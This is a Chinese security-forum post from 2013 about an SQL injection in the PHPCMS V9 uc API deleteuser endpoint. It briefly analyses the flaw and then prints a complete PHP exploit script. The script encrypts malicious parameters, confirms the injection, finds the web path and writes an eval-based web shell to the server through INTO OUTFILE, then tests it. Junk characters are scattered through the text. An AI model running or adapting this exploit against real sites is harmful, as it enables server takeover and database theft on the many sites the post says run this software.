找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2034|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
, R' Z: y5 t( D; }% \8 u2 N/ p4 ?% z4 i* a) Z
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。* @* B  v; y: A& |0 t6 B. R
5 Y% {0 _- G* }: X
漏洞分析:
% W* c) \3 U) V2 Z8 u* L, J" Q" A1.未启用ucenter服务的情况下uc_key为空
/ \8 u! C* Q( b& @- j7 c% a7 h" ldefine('UC_KEY', pc_base::load_config('system', 'uc_key'));+ L$ g- V& U9 N3 e1 a3 M
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
& {7 s: U* t' o' x9 a    public function deleteuser($get,$post) {) s  @/ e+ f+ e7 x
        pc_base::load_app_func('global', 'admin');
( u$ r6 T( e& ]# n- P# d7 Z        pc_base::load_app_class('messagequeue', 'admin' , 0);( {& T: h  U) x  C
        $ids = new_stripslashes($get['ids']);
/ w4 f& p! [3 u% D7 R+ I. n; S9 I        $s = $this->member_db->select("ucuserid in ($ids)", "uid");5 I% S2 r9 `6 `5 Z
SQL语句为& f. ^+ S, i' N
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
# W8 K- b7 u! V0 B, _8 p& v7 @$ O+ X6 g5 T% E; I) I
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
. H& R4 j. D( I2 o6 E7 }( W  u) S<?php
' J" M$ e% H1 K  i: U/ wprint_r('( U9 x2 ~& b( P+ ^. w* v) p# C$ g
---------------------------------------------------------------------------/ O* N3 k2 N7 e7 e- l
PHPcms (v9 or Old Version) uc api sql injection 0day4 H' x# m( g+ E+ [
by rayh4c#80sec.com
% S& z# y( ~# v, [---------------------------------------------------------------------------
$ R; {8 K  D5 J+ t2 Z2 C');- |' P% p9 w/ A  L2 {
9 f5 N; t; ], b) r
if ($argc<3) {, z3 h% t, _% r
    print_r('' }& A# G8 f( m; k& m( ^
---------------------------------------------------------------------------
; k: m7 f5 G7 NUsage: php '.$argv[0].' host path OPTIONS8 l" V( e0 R* K
host:      target server (ip/hostname)$ z2 w) o4 f; l  Q* W! a3 w' Z# q
path:      path to phpcms. o) F% o! u6 r- f/ T
Options:
7 x7 {0 Z1 u, j -p[port]:    specify a port other than 80
- e" Z+ B3 }- c3 s  ]3 T  k -P[ip:port]: specify a proxy" m4 y$ U, \5 b2 g2 C1 s0 `
Example:
) ^2 n5 P9 V) J" }php '.$argv[0].' localhost /& e6 d' Y0 {- h
php '.$argv[0].' localhost /phpcms/ -p81
7 \+ O7 o# C# L6 h& z, w! `& Jphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80( y7 U) l9 ]$ M  Y( {* j$ N% P
---------------------------------------------------------------------------% f% j0 c/ s8 V7 c( X* a/ P
');! Z, `) v# \6 o* @- D
    die;
6 b$ P# n- I1 }+ I+ A1 t" G}
! B8 B  `- {" @
! `9 Y. h5 U+ R( D* ?error_reporting(7);
6 X9 W6 `1 i9 rini_set("max_execution_time",0);. _& O( g1 K1 l8 j& D1 |
ini_set("default_socket_timeout",5);
9 b$ B0 c2 X5 p- m9 H% G
1 I$ s0 O- H( @  pfunction quick_dump($string)
( L5 A2 v# j) [  P% ?" r{
0 W. V: G5 [% |. m: T! F" a  $result='';$exa='';$cont=0;; J1 {( V0 n9 v
  for ($i=0; $i<=strlen($string)-1; $i++)
' {: b: u9 H* M/ S; L6 q, T  {
4 x% t' m/ V4 m   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))/ Y+ i' X' ?" r% j1 u' n
   {$result.="  .";}
8 ~) \# G2 ?6 u0 G! L& x   else! _' C1 x4 p: H; d
   {$result.="  ".$string[$i];}7 S, U8 u; e1 h3 n
   if (strlen(dechex(ord($string[$i])))==2)5 t  X) U+ Q9 T* H% i
   {$exa.=" ".dechex(ord($string[$i]));}
7 x3 N  x# Y7 B& g; h2 `   else6 E, X9 t+ g. b. _5 |
   {$exa.=" 0".dechex(ord($string[$i]));}
$ R2 @( N! Z# E$ `: O6 f. p$ ^   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
# h8 f  O3 a4 t6 F. e6 `  }
5 L. W* Y" W$ \2 ~7 M9 e return $exa."\r\n".$result;
( ~9 G3 Z2 m; C7 T}- f* I+ A6 i1 B. q& o/ c
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';, |+ X# \! t# |: c2 G% X# ^7 x
2 Z1 @5 p" J3 i/ k- p7 ^
function send($packet)
: q% m) x, C* Q. |9 i/ |0 I{
$ A) G3 Q/ V: I0 Z* y0 b  global $proxy, $host, $port, $html, $proxy_regex;
  F, Z, E9 @+ ?  if ($proxy=='') {5 c6 i3 K; K  h8 r
    $ock=fsockopen(gethostbyname($host),$port);7 X* {+ @0 P) k( S; l1 k) S2 t
    if (!$ock) {2 a* t2 x) v. o5 j
      echo 'No response from '.$host.':'.$port; die;6 t6 |. A  o# K9 g
    }6 \  z2 M' M) F4 P, @1 x
  }
9 m6 i1 P- f# ]& x( R% E  else {
3 X  e: d8 I- P% T% p" ^9 n3 f        $c = preg_match($proxy_regex,$proxy);
+ V0 i" W& T: Y* w* z& _5 x    if (!$c) {, o# X3 t. C$ _3 h) [" @3 R6 J
      echo 'Not a valid proxy...';die;
, K5 y5 f. k/ p0 `# `2 N5 ]- d: R' u    }9 I" O' P, H. {  r
    $parts=explode(':',$proxy);8 E5 ]* p5 e! H
    $parts[1]=(int)$parts[1];
+ ^. Q7 ]7 i# w) _$ s4 ~2 K3 @, t! n    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
1 O  a: d' z# c# j8 B    $ock=fsockopen($parts[0],$parts[1]);" A0 d  O+ }& t& I0 M
    if (!$ock) {
7 W. e2 U4 u5 I% \      echo 'No response from proxy...';die;# P5 L4 ^& b. w0 b6 d3 Z7 e
        }+ i6 |' z2 N* L3 D6 C, r! [
  }. H$ V' o7 n$ ?4 L/ f8 g3 U1 u7 ?& W
  fputs($ock,$packet);  M6 t% {/ ?4 |& L- h
  if ($proxy=='') {
: X5 d  c. R7 G3 l    $html='';
9 [8 N5 K2 {% i; a1 p7 ~    while (!feof($ock)) {
0 K, e7 u, v4 w" _; x; O( @/ D8 M      $html.=fgets($ock);. r, o! [7 w- A9 e6 j: H
    }
& M0 X3 \+ L& S4 u- ~8 L9 ]6 E  }
" Z: r  g2 b! ~! A  else {
+ ^6 Z+ P# o2 E, G# e    $html='';
: }3 w6 X* c1 G" M6 E    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {: u; o+ q8 O9 b& N# a, }. u
      $html.=fread($ock,1);' \7 g  i2 }1 D* G
    }
  _/ _- v8 u5 ~: o! e  }
- ?% Q; _) b% o: ]1 l  fclose($ock);
. _) h6 v# G2 z7 `}
$ i$ I6 S% ]6 \& R% t
6 G; G: Y, M2 ?2 [' D3 [6 |$host=$argv[1];
' |& ]7 ~9 P% {$path=$argv[2];+ d, H+ l4 ]3 X% p, J" E1 z
$port=80;3 L0 I% Y! \  w6 l1 O
$proxy="";! ]0 B/ P' p  G$ b! d$ z* _% l
for ($i=3; $i<$argc; $i++){6 U) @9 M# _  h3 X* ?
$temp=$argv[$i][0].$argv[$i][1];6 d4 U3 k) u5 P/ ~' H
if ($temp=="-p")8 r5 T( R7 u6 E% m% C; t
{; a6 o1 ?& O& j& G
  $port=(int)str_replace("-p","",$argv[$i]);
+ I# L6 l) }' {' ?: x}8 u; o5 R3 m+ b% u" x( l
if ($temp=="-P")2 T7 H* ]  `$ w" z1 I3 D; A
{( |( N3 N, X) q3 t
  $proxy=str_replace("-P","",$argv[$i]);. I' E( b' ?5 K1 W
}
1 U* e" G9 z# W: B8 d}
( G; g, b5 l4 E0 ^) @5 R) c; N3 Y: o1 Z9 f2 ^  `7 [2 _2 [
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}( T- x$ G  X- U
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
! Z9 y5 j! A- W# n+ O& f- P
' X/ b' b& }# Q: ?+ w* I' Tfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
" F7 |# [/ C( `' H" a2 `' @  r/ S4 D/ v0 j5 l, B# @  b( e3 ~
    $ckey_length = 4;: H* N+ C) [" `
! [" k: y% [# K7 j3 M0 Z! b
    $key = md5($key ? $key : '');
- B9 O7 i' e6 R; J# I& A5 j; n    $keya = md5(substr($key, 0, 16));6 q1 L4 E# Z  _
    $keyb = md5(substr($key, 16, 16));
+ W/ r  t, S; M    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';: ^( E) Q% h' s- U: ~+ t4 F

" M7 f4 ^+ t- U1 Y5 t& e7 i4 `    $cryptkey = $keya.md5($keya.$keyc);
4 G. s9 v) `2 x9 y    $key_length = strlen($cryptkey);
2 Z; X  _# [7 B' ^' a, q/ j' V& t) ?; K1 C; X: q8 q9 y
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;3 J2 d  U2 ]$ w1 \- T0 D7 q. z
    $string_length = strlen($string);( t( N" F  b% Z' T3 H

6 D* [, }, {1 i3 j    $result = '';
# m* o! r5 t% @3 X    $box = range(0, 255);
8 K; G! U# O( U2 e/ K- b% k1 K- ~
    $rndkey = array();6 M9 W8 O% \- R5 z
    for($i = 0; $i <= 255; $i++) {
" O0 l/ \7 o6 @' y( a        $rndkey[$i] = ord($cryptkey[$i % $key_length]);% a) d9 `2 @5 X& a- Y- R
    }% S; N3 Q, s6 y+ I& U3 A: e
7 T( I* E9 `" @
    for($j = $i = 0; $i < 256; $i++) {6 ]/ v- Z& f& K- M# W. x3 ~
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
/ w" E9 W6 V7 U6 o( f        $tmp = $box[$i];
$ W1 G. }  e) D3 q, I        $box[$i] = $box[$j];
- b3 g7 @- e6 z5 ~        $box[$j] = $tmp;) C* U1 V" ]( t5 @; R' ^) N" z3 A
    }
2 M) T' ~! A8 r' U
& p, }/ t' g2 [% z8 J* {( Z    for($a = $j = $i = 0; $i < $string_length; $i++) {, z" s; E' B) l0 w7 z3 K
        $a = ($a + 1) % 256;
; ?0 g/ ~( N# @; W* w        $j = ($j + $box[$a]) % 256;. U. W. |8 c# V# @2 ~) k
        $tmp = $box[$a];, D' ^. u" U, y8 T$ T
        $box[$a] = $box[$j];! {  G$ u2 ~, E* {
        $box[$j] = $tmp;
  ~. T, t) C! `4 y1 T1 D        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));( U( v8 ?2 b0 L
    }" G9 H& J0 `( P3 F2 C2 d" e

5 i3 S1 Q+ w8 t3 A4 J    if($operation == 'DECODE') {( l! ^- N+ X$ b
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
8 h$ J& ?6 B8 k$ D3 c, x, p* G            return substr($result, 26);
' h, Q1 }: b4 Q        } else {! p+ }8 b7 [6 {3 t2 {$ I
            return '';
% D  ]$ j! K# `        }
) S) Y/ G7 S8 V6 r- c  p" q" Y' O    } else {
" x% u# f& H9 n  T  ^: J7 b        return $keyc.str_replace('=', '', base64_encode($result));! z# W. e+ U' O$ Q/ f. g: e4 _) w
    }
# Z" `8 b% Z, E; ]% ?/ ?) @- w1 p. Y  |
}, K+ v2 c( ^& @- R4 J, l
5 T/ S3 o7 p9 W0 N) @
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
. f" t2 r3 H2 @2 _$ U6 S$SQL = urlencode(authcode($SQL, "ENCODE", ""));/ ]+ d: C8 |6 `2 ~7 Z" V; ^
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";- b4 Y4 n8 l1 ?( d' ]9 ]
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
; \7 V- Y; u% Q7 e$ i5 _0 _, b$packet.="User-Agent: Mozilla/5.0\r\n";. w/ h# U: U0 q7 B- S# l. _/ O7 s
$packet.="Host: ".$host."\r\n";4 X  A+ m* I( v
$packet.="Connection: Close\r\n\r\n";$ n% b4 b. F5 Z7 z* x0 s: a
send($packet);
/ `/ a* E2 d7 `if(strpos($html,"MySQL Errno") > 0){7 z% U  ~0 a! h# P) G
echo "[2] 发现存在SQL注入漏洞"."\n";; k6 c! W$ F/ Y( W
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
# W0 H% d" L# [2 ]5 Q$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
% k5 N: V4 w& G/ e9 H( Q$ o6 D$packet.="User-Agent: Mozilla/5.0\r\n";* D5 e1 G8 _; u0 X+ J& B& [
$packet.="Host: ".$host."\r\n";
0 q6 t' Y+ |4 D$packet.="Connection: Close\r\n\r\n";
% B4 @' H* u9 E: l0 Z& ?! Y; a4 esend($packet);1 @1 O) I" Q) L
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
3 R) M+ h4 \2 K" ]" @. l7 {' c//print_r($matches);
. c, \% c6 g5 r" {7 d/ A* Q: ~if(!empty($matches)){
5 [5 \0 ?# X4 Necho "[4] 得到web路径 " . $matches[0]."\n";- A0 W( i" L9 p5 y( R, m
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
0 B# ]2 O) o$ N2 v! {3 \$SQL = "time=999999999999999999999999&ids=1)";
/ Q& C+ {2 u0 w  s$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
% ^: {) k$ m- R  C: H$SQL.="&action=deleteuser";
  s; E: c1 a0 ?$SQL = urlencode(authcode($SQL, "ENCODE", ""));
: r8 L1 w& h) Y# p4 _0 D9 E5 I) Xecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
7 b! W8 z/ Y1 j, _" O! T$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";; i$ }7 X( M" w  A6 ]6 q
$packet.="User-Agent: Mozilla/5.0\r\n";/ x) V! C* c# }! a, d! x: t
$packet.="Host: ".$host."\r\n";
3 V# v* e% E4 Q/ ]+ _$packet.="Connection: Close\r\n\r\n";) b3 O7 \/ g- [+ S: c  i7 R% W" ?8 e
send($packet);
7 D# ]& [" C! g) c+ w5 Bif(strpos($html,"Access denied") > 0){3 p. y3 `  F; `+ f$ {; b
echo "[-] MYSQL权限过低 禁止写入文件 ";/ k1 }" i) x0 f* n. I
die;
$ M; |7 h' z: A* F( }& f$ d}
0 m+ A* S- f8 L( p$ vecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";  p4 ]* N' j2 }7 n9 ~( E5 L1 V
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
: o5 M! B3 Q' a( i7 h$packet.="User-Agent: Mozilla/5.0\r\n";) E' f" e3 R+ ~7 ]8 i5 V0 l; o% U
$packet.="Host: ".$host."\r\n";( \  x4 o3 [4 f% K6 x$ a- V0 J
$packet.="Connection: Close\r\n\r\n";/ l7 ]* h  P( R
send($packet);* _$ q0 M2 }+ ~2 t8 \! Y, e
if(strpos($html,"<title>phpinfo()</title>") > 0){
, [  ~) ^+ z* P3 e  Secho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
9 c' o0 }" q- K; u) b6 v: y# E: Q}
8 ]( B+ U8 _; `# `8 Q4 ^0 g0 z}else{
! X3 D# B8 ]0 g4 H1 Necho "[-]未取到web路径 ";" H: i) n- r' @1 U$ P0 k
}* r0 v, u! V( E
}else{
# z! E- B, P- b$ H- @& jecho "[*]不存在SQL注入漏洞"."\n";+ Y; C  r# j# M% p" g+ b# l
}5 {4 G; D0 L6 ]& b9 T) p
, y) ^- \8 I- J5 H0 Q
?>
* W" A( ~  _& J% K4 F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表